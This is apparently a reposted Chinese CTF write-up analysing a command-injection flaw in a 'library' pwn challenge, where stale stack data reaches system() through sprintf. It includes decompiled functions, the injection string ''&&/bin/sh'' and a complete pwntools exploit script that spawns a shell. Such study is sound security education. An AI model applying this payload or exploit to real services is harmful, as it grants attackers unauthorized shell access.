0x00 前言
这种命令行注入在pwn中出现的比较少,所以记录分享一下。
0x01 命令行注入介绍
熟悉web安全的话就知道,如果对特殊字符过滤不当,会引发sql注入或者xss等安全漏洞。其中,命令行注入较为严重,因为可以直接拿到漏洞程序当前权限的OSshell。
然而,命令行注入不仅在web中会出现,在C语言程序中,也会出现命令行注入的漏洞。比方说这道pwn题,就是调用system时,没有对输入数据进行\0截断以及对特殊字符处理不当而导致的。
命令行注入相对于其他二进制漏洞相比利用比较简单,比方说这道题,举个例子:
1
2
|
sprintf(&s, "du -sh lib/'%s'" , v6); system(&s); |
其中设计初衷,v6应当是一个合法的文件名。但是如果攻击者恶意操控v6,比方说,让v6为:'&&/bin/sh'
进行sprintf拼接后,system所执行的命令为:
1
|
du -sh lib/ '' && /bin/sh '' |
这里有两个linux命令行的知识:
&&,这是拼接两个命令,如果我们执行 command1&&command2,那么等价于先执行command1在执行command2。其中命令跟&&之间不必加空格。
在命令后不加空格的''(两个单引号)会被忽略,比如ls''等价于ls,/bin/sh''等价于/bin/sh,du -sh lib/''等价于du -sh lib/(即,实际传进去的参数是lib/不是lib/'')
所以,执行上面的命令,相当于先执行了
1
|
du -sh lib/ |
再执行
1
|
/bin/sh |
所以,可以getshell。
0x02 题目
题目所给的是一个library的服务,可以上传book,查看books,清除books。其中,book存放在lib/文件夹中。
0x03 漏洞点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
char *list_books() { FILE *v0; // eax char *result; // eax char s; // [esp+4h] [ebp-C14h] char ptr; // [esp+804h] [ebp-414h] char *v4; // [esp+C04h] [ebp-14h] FILE *stream; // [esp+C08h] [ebp-10h] char *v6; // [esp+C0Ch] [ebp-Ch] v0 = popen( "ls lib/" , "r" ); stream = v0; result = ( char *) fread (&ptr, 1u, 0x400u, v0); v4 = result; if ( result ) { v6 = strtok (&ptr, delims); result = ( char *)send( "Book list:\nSize\tE-book\n" ); while ( v6 ) { sprintf (&s, "du -sh lib/'%s'" , v6); //很明显,这里存在可能的命令行注入 system (&s); fflush (stdout); result = strtok (0, delims); v6 = result; } } return result; |
其中list_books代码如上,v6来自fread从popen中的返回结果。他本来想做的是输出每个文件的大小,但是fread后没有用\0截断。所以调用strtok时,可能会读到fread后面的垃圾数据(当然如果可以操控的话就不是垃圾数据了)
sprintf的栈溢出会比较难利用,因为&s比较大,有0x800,而v6是从&ptr里面strtok出来的,而&ptr更小,只有0x400。所以应该没法很好的利用。
0x04 操控垃圾数据
那么,我们怎么去操控&ptr中的垃圾数据呢?这个时候看看另外一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
int upload_book() { char *v1; // eax int v2; // eax char buf[1024]; // [esp+Ch] [ebp-42Ch] char s[20]; // [esp+40Ch] [ebp-2Ch] FILE *stream; // [esp+420h] [ebp-18h] char *dest; // [esp+424h] [ebp-14h] size_t v7; // [esp+428h] [ebp-10h] int v8; // [esp+42Ch] [ebp-Ch] if ( book_counter > 10 ) return send( "too many books\n" ); send( "Book filename: " ); v8 = __isoc99_scanf( "%20s" , s); if ( v8 != 1 ) return send( "Wrong title format\n" ); v7 = strlen (s); if ( strcmp (&s[v7 - 3], ".bk" ) ) return send( "The name needs to end with '.bk'\n" ); send( "e-book contents: \n" ); read(0, buf, 0x400u); if ( *(_DWORD *)buf != 'BBBB' ) return send( "Not an e-book\naborting...\n" ); v1 = ( char *) malloc (0x18u); dest = v1; *(_DWORD *)v1 = 0x2F62696C; v1[4] = 0; strcat (dest, s); stream = fopen (dest, "w" ); if ( !stream ) return send( "Bad book filename\n" ); v2 = book_counter++; books[v2] = dest; fwrite (buf, 1u, 0x400u, stream); return fclose (stream); } |
其中,这在栈中也会分配0x400个字节,并且我们可以写入。
并且,调用完这个函数之后,清除栈空间时,只是简单地add esp,xxx,并不会清空其中数据。然后,再调用存在命令行注入的函数并分配栈空间时,也只是单纯地sub esp,xxx,也不会清空数据。在C语言中,如果此时对不赋值的局部变量直接访问的话,是UB行为。但是,从二进制安全的角度看的话,便是可利用的点了。其中这道题,本身就是一个局部字符串读取后未截断而造成的UB,然而我们便可以利用这个。
那么来试试:
很明显,BBBB123456789123456789123456789123456789AAAA的后面89123456789AAAA被拼接到du -sh lib/'%s'中了
动态调试看一下的话
第一次在system停下
第二次在system停下
所以很明显,只要把89123456789AAAA改成
1
|
'&&/bin/sh'\x00 |
就可以getshell了。如前面所说。
其中,\x00是我们自己手动截断,不然strtok还会继续往后读。
所以最后exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#BBBB1234567891234567891234567'&&/bin/sh' g_local = True from pwn import * if g_local: sh=process( "./library" ) else : sh=remote( "xxxx" ,1234) def upload_book(filename, content): filename += ".bk" sh.send( "1\n" ) sh.recvuntil( "Book filename: " ) print filename sh.send(filename + "\n" ) sh.recvuntil( "e-book contents: \n" ) sh.send(content) sh.recvuntil( "Enter command: " ) def list_books_and_shell(): sh.send( "2\n" ) sh.interactive() upload_book( "1" , "BBBB1234567891234567891234567\'&&/bin/sh\'\x00" ) list_books_and_shell() |
0x05 后言
还有一点要注意,pwndbg好像会默认在fork时跟子进程,所以要在~/.gdbinit的最后面(加载pwndbg之后)加上set follow-fork-mode parent。并且,&&与命令之间不能加空格。因为他strtok是通过空格和换行分断字符串的,加了空格我们的payload就会被strtok分割开。
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对服务器之家的支持。
原文链接:https://bbs.pediy.com/thread-224692.htm